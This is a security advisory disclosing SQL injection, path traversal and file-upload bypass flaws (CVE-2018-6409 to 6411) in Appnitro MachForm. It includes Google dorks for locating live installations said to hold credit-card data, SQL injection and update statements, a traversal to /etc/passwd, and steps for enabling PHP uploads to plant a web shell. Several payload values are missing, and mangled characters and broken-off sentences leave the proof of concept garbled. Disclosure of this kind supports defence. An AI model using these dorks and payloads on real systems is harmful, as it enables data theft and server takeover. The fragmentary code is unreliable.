Appnitro MachForm SQL Injection / Traversal / File Upload

Appnitro MachForm suffers from remote file upload, remote SQL injection, and path traversal vulnerabilities.

MD5 | b12919cc6902374a5ee31d11fbf166fd

Vendor: Appnitro
Product webpage:

Author: Amine Taouirsa

Google dork examples:
"machform" inurl:"view.php"
"machform" inurl:"embed.php"

The form creation platform MachForm from Appnitro is subject to SQL
injections that lead to path traversal and arbitrary file upload.

The application is widely deployed and with some google dorks itas possible
to find various webpages storing sensitive data as credit card numbers with
corresponding security codes. Also, the arbitrary file upload can let an
attacker get control of the server by uploading a WebShell.

[1] SQL injection (CVE-2018-6410):

[1.1] Description:
The software is subject to SQL injections in the adownload.phpa file.

[1.2] Parameters and statement:
This SQLi can be found on the parameter aqa which a base64 encoded value
for the following parameters:

$form_id = $params['form_id'];
$id = $params['id'];
$field_name = $params['el'];
$file_hash = $params['hash'];

So the injectable parameters are aela and aform_ida obtaining error-based,
stacked queries and time-based blind SQL injections. This is due to the
following vulnerable statement:

$query = "select {$field_name} from `".MF_TABLE_PREFIX."form_{$form_id}`
where id=?";

[1.3] POC
Proof of concept to get the first user mail:
http:// [URL] / [Machform_folder]

Which is the base64 encoding for:
MID((user_email),1,50) FROM ap_users ORDER BY user_id LIMIT
BY x)a) ;&id=1&hash=1&form_id=1

[2] Path traversal (CVE-2018-6409):

[2.1] Descrition
download.phpa is used to serve stored files from the forms answers.
Modifying the name of the file to serve on the corresponding ap_form table
leads to a path traversal vulnerability.

[2.2] POC
First we need to change the name for the element on the form:
update ap_form_58009 set
where id=1;

Now in order to be able to download it, we need to access:
http:// [URL] / [Machform_folder]

Which is the base64 encoding for;

Note that hash is the MD5 of the corresponding filename:
md5("../../../../../../../../../../../../../../../../etc/passwd") =

[3] Bypass file upload filter (CVE-2018-6411):

When the form is set to filter a blacklist, it automatically add dangerous
extensions to the filters.
If the filter is set to a whitelist, the dangerous extensions can be

This can be done directly on the database via SQLi
update ap_form_elements set
element_file_type_list="php",element_file_block_or_allow="a" where
form_id=58009 and element_id=4;

Once uploaded the file can be found and executed in the following URL:
http:// [URL] / [Machform_folder] /data/form_58009/files/ [filename]

The filename can be found in the database
SELECT element_4 FROM ap_form_58009 WHERE id=1;


Amine Taouirsa

Hacking | Head of Hacking Research

[email protected]

T. +34 917 281 504 | M. +34 644 486 240

Avda. Llano Castellano, 43 28034 MADRID


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